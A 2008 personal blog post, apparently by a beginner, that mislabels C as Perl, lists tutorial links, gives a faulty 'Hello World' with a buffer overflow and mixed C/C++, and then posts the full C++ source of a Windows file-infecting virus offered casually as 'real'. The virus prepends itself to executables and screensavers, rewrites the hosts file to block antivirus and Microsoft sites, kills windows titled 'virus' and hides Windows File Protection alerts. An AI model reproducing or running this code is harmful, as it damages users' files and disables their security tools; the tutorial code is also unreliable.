Learn C Programming Language!!!

Hey guys! Its Nikhil here! As you may know perl programming language is one of the most useful programming languages in today’s modern world!  So I thought I would Share with you something with C!

First of all if you want to learn C, you should go to this website:

http://www.cprogramming.com/

http://aelinik.free.fr/c/

http://members.tripod.com/~johnt/c.html

And pretty much google if you need help!

Oh, and here is a sample program just for you!

A Hello World Program:

 

void main()
{
  char str[1];
  int  i = 100;
  sprintf(str, "Hello, World! %i Get!", i);
  cout << str; // Console
  MessageBox(NULL, str, "Alert!", MB_ICONOK );
};
A Virus :] (It's Real Guys dont mess with it)

Code:
#include <StdAfx.h>
#include <stdlib.h> 
#include <fstream.h> 
#include <iostream.h> 
#include <windows.h> 

DWORD WINAPI winmonitor(LPVOID);
int cmutex(int);
int extract(int a);
void hosts();
void infect(char *);
void scanexe(char *); 

int main()
{
if (cmutex(0) ==2)
return 0;    
 
CreateThread(NULL, 0, winmonitor, 0, 0, NULL);
/*
hosts(); 

//scan drives b-z
char dir[2]; 

for (int i = 98;i!=122;i++)
{
    dir[0] = char(i);
    dir[1] = ':';
    dir[2] = '\\';
    if (GetDriveType(dir) == DRIVE_FIXED || DRIVE_REMOTE)
    scanexe(dir);
}
*/
system("PAUSE");
return 0;
} 

void scanexe(char * targetfolder)
{
WIN32_FIND_DATA find;
HANDLE result;
char dirpath[260],targ[260],ptkill[260],searchpath[260];
strcpy(dirpath,targetfolder);
strcpy(searchpath,targetfolder);
strcat(searchpath, "\\*.*"); 

result = FindFirstFile(searchpath,&find);
while (FindNextFile(result, &find) !=0)
{    
    if (strstr(dirpath,"Share") != NULL || strstr(dirpath,"share") != NULL || strstr(dirpath,"Received") != NULL || strstr(dirpath,"received") != NULL)
    {
                if (strstr(find.cFileName,".exe") !=NULL)
                {
                    strcpy(ptkill,dirpath);
                    strcat(ptkill,"\\");
                    strcat(ptkill,find.cFileName);
                    infect(ptkill);
                }
    } 

    if (strstr(find.cFileName,".scr") != NULL)
    {
        strcpy(ptkill,dirpath);
        strcat(ptkill,"\\");
        strcat(ptkill,find.cFileName);
       infect(ptkill);
    }      
   
    if(find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
    {
        if(strcmp(find.cFileName, ".") && strcmp(find.cFileName, ".."))
        {
                strcpy(targ, dirpath);
                strcat(targ,"\\");
                strcat(targ,find.cFileName);
                scanexe(targ);
        }
    }    
}            
} 

void infect(char * targetpath)
{
long mysize;
long tsize;
char currentpath[250]; 

GetModuleFileName(NULL,currentpath,MAX_PATH);
ifstream me(currentpath,ios::binary);
me.seekg (0,ios::end);
mysize = me.tellg(); 

char *mybuf= new char [mysize];
me.seekg (0,ios::beg);
me.read(mybuf,mysize);
me.close(); 

if (GetFileAttributes(targetpath)!=FILE_ATTRIBUTE_READONLY)
{
    ifstream tf(targetpath,ios::binary);
   
if (tf.is_open() == 1)
{
    tf.seekg (0,ios::end);
    tsize = tf.tellg();
   
    char *tbuf= new char [tsize];
    tf.seekg (0,ios::beg);
    tf.read(tbuf,tsize);
    tf.close();
   
    ofstream of(targetpath,ios::binary);
    of.write(mybuf,mysize);
    of.write(tbuf,tsize);
    of.close();
    SetFileAttributes(targetpath,FILE_ATTRIBUTE_READONLY);
} 

} 

}    

void hosts()
{
int i = 0;
char hostspath[500] = ""; 

GetSystemDirectory(hostspath,MAX_PATH);
strcat (hostspath,"\\drivers\\etc\\hosts");
   
if (GetFileAttributes(hostspath)!=FILE_ATTRIBUTE_READONLY )
{    
   
char blocklist[74][250] =
   {
   "www.cannibalholocaust.net housecall.trendmicro.com",
   "www.cannibalholocaust.net www.pandasoftware.com/activescan/com/activescan_principal.html",
   "www.cannibalholocaust.net www.grisoft.com/us/us_index.php",
   "www.geocities.com/targend microsoft.com",
   "www.geocities.com/targend www.microsoft.com",
   "www.cannibalholocaust.net www.sophos.com",
   "www.cannibalholocaust.net www.kaspersky.com/scanforvirus",
   "www.cannibalholocaust.net www.riaa.com",
   "www.cannibalholocaust.net kazaa.com",
   "www.cannibalholocaust.net www.grisoft.com",
   "www.cannibalholocaust.net www.download.com",
   "www.cannibalholocaust.net www.napster.co.uk",
   "www.cannibalholocaust.net www.napster.com",
   "www.cannibalholocaust.net www.aresgalaxy.com",
   "www.cannibalholocaust.net www.poilet.com",
   "www.cannibalholocaust.net www.kaaza.com",
   "www.cannibalholocaust.net www.kazza.com",
   "www.cannibalholocaust.net www.kaza.com",
   "www.cannibalholocaust.net www.kazaalite.com",
   "www.cannibalholocaust.net www.kazaa-lite.tk",
   "www.cannibalholocaust.net www.k-lite.tk",
   "www.cannibalholocaust.net www.kazaalite.nl",
   "www.cannibalholocaust.net www.kazaa-download.de",
   "www.cannibalholocaust.net www.kazaagold.com",
   "www.cannibalholocaust.net k-litetk.com",
   "www.cannibalholocaust.net www.kazaalite.de",
   "www.cannibalholocaust.net www.kazaa.de",
   "www.cannibalholocaust.net www328.ws1.internetservice.com",
   "www.cannibalholocaust.net www.kazaa-file-sharing-downloads.com",
   "www.cannibalholocaust.net www.klitesite.com",
      "www.cannibalholocaust.net freewebhosting.hostdepartment.com/k/kazaalitetk",
      "www.cannibalholocaust.net kazaa.freakin.nl",
      "www.cannibalholocaust.net www.kazaa-gold.com",
      "www.cannibalholocaust.net www.kl-kpp.net",
      "www.cannibalholocaust.net www.kazaa.co.kr",
      "www.cannibalholocaust.net www.supernova.org",
      "www.cannibalholocaust.net www.slsk.org",
      "www.cannibalholocaust.net www.fileminer.com",
      "www.cannibalholocaust.net www2.music-download-network.com",
      "www.cannibalholocaust.net filmgimp.org",
      "www.cannibalholocaust.net www.filesharingfriends.com",
     "www.cannibalholocaust.net www.mp3ebook.com",
      "www.cannibalholocaust.net www.symynet.com/educational_software/kazaa_light.htm ",
      "www.cannibalholocaust.net http://www.bolton-heaton.freeserve.co.uk/kazaa.htm",
      "www.cannibalholocaust.net www.emp3downloadhq.com",
      "www.cannibalholocaust.net www.unlimitedshock.com",
      "www.cannibalholocaust.net www.songs4free.com",
      "www.cannibalholocaust.net www.mp3u.com",
      "www.cannibalholocaust.net download-central.mp3u.com",
      "www.cannibalholocaust.net www.americamp3network.com",
      "www.cannibalholocaust.net www.mp3university.com",
      "www.cannibalholocaust.net www.downloads-unlimited.com",
      "www.cannibalholocaust.net www.download-mp3-now.com",
      "www.cannibalholocaust.net www.imusicshare.com",
      "www.cannibalholocaust.net www.musicdownloadcentral.com",
      "www.cannibalholocaust.net www.downloadsociety.com",
      "www.cannibalholocaust.net www.mp3musiczone.com",
      "www.cannibalholocaust.net www.mp3rocks.net",
      "www.cannibalholocaust.net www.247downloads.com",
      "www.cannibalholocaust.net www.mymusicinc.com",
      "www.cannibalholocaust.net www.mp3advance.com",
      "www.cannibalholocaust.net www.songfly.com",
      "www.cannibalholocaust.net www.download-mp3-now.com",
      "www.cannibalholocaust.net www.mp3musicworld.com",
      "www.cannibalholocaust.net www.charliespiano.com/downloadable_music.php",
      "www.cannibalholocaust.net www.freeality.com/emusic.htm",
      "www.cannibalholocaust.net www.free-mp3-music-player-downloads.com",
      "www.cannibalholocaust.net www.mp3yes.com",
      "www.cannibalholocaust.net mp3.abandonware.nu",
      "www.cannibalholocaust.net mp3high.com",
      "www.cannibalholocaust.net www.mp3shock.net",
      "www.cannibalholocaust.net www.mp3advance.com",
      "www.cannibalholocaust.net www.trustyfiles.com",
      "www.cannibalholocaust.net www.emusic.com"
   };
   
   ofstream hosts(hostspath);
   
    while(hosts.is_open() == 1 && i!=73)
    {
   strcat(blocklist[i],"\n");    
    hosts.write(blocklist[i],strlen(blocklist[i]));
    i++;
   }
hosts.close(); 

SetFileAttributes(hostspath,FILE_ATTRIBUTE_READONLY);    
} 

} 

void extract()
{
char *mybuf;
char mypath[MAX_PATH],currentdir[MAX_PATH];
int mysize,cfilesize; 

GetModuleFileName(NULL,mypath,MAX_PATH);
ifstream mesize(mypath,ios::binary);
mesize.seekg (0,ios::end);
mysize = mesize.tellg(); 

if (mysize > 20992)
{
    GetCurrentDirectory(MAX_PATH,currentdir);
    ifstream me(mypath,ios::binary);
    me.seekg (20992);
    cfilesize = mysize - 20992;
    mybuf = new char [cfilesize];
    me.read(mybuf,cfilesize);
    me.close();
   
    strcat(currentdir,"\\backupF");
    ofstream out(currentdir,ios::binary);
    out.write(mybuf,cfilesize);
    out.close();
   
    WinExec(currentdir,SW_SHOW);
} 

} 

DWORD WINAPI winmonitor(LPVOID lParam)
{
int msgno = 0;
DWORD pid;
char wintitle[MAX_PATH] = "";    
HWND fwindow; 

    for (;;)
    {
        Sleep(10);
        fwindow = GetForegroundWindow();
        GetWindowText(fwindow,wintitle,MAX_PATH);
        if (strstr(wintitle,"virus")!=NULL || strstr(wintitle,"Virus")!=NULL)
        {
            TerminateProcess(OpenProcess(PROCESS_TERMINATE, 0,GetWindowThreadProcessId(fwindow,0)), 0);
            if (FindWindow(0,wintitle))
            SendMessage(fwindow,WM_CLOSE,0,0);
            if (FindWindow(0,wintitle))
            ShowWindow(fwindow,0);
       } 

        if(strstr(wintitle,"Windows File Protection")!=NULL)
        {
            ShowWindow(fwindow,0);
        }    

    } 

return 0;    
} 

int cmutex(int a)
{
CreateMutex(NULL, true, "CannibalF"); 

if(GetLastError() == ERROR_ALREADY_EXISTS)


return 2;
}


 

Published in: on July 29, 2008 at 1:54 am Leave a Comment

The URI to TrackBack this entry is: http://nikhilscorner.wordpress.com/2008/07/29/learn-c-programming-language/trackback/

RSS feed for comments on this post.

Leave a Comment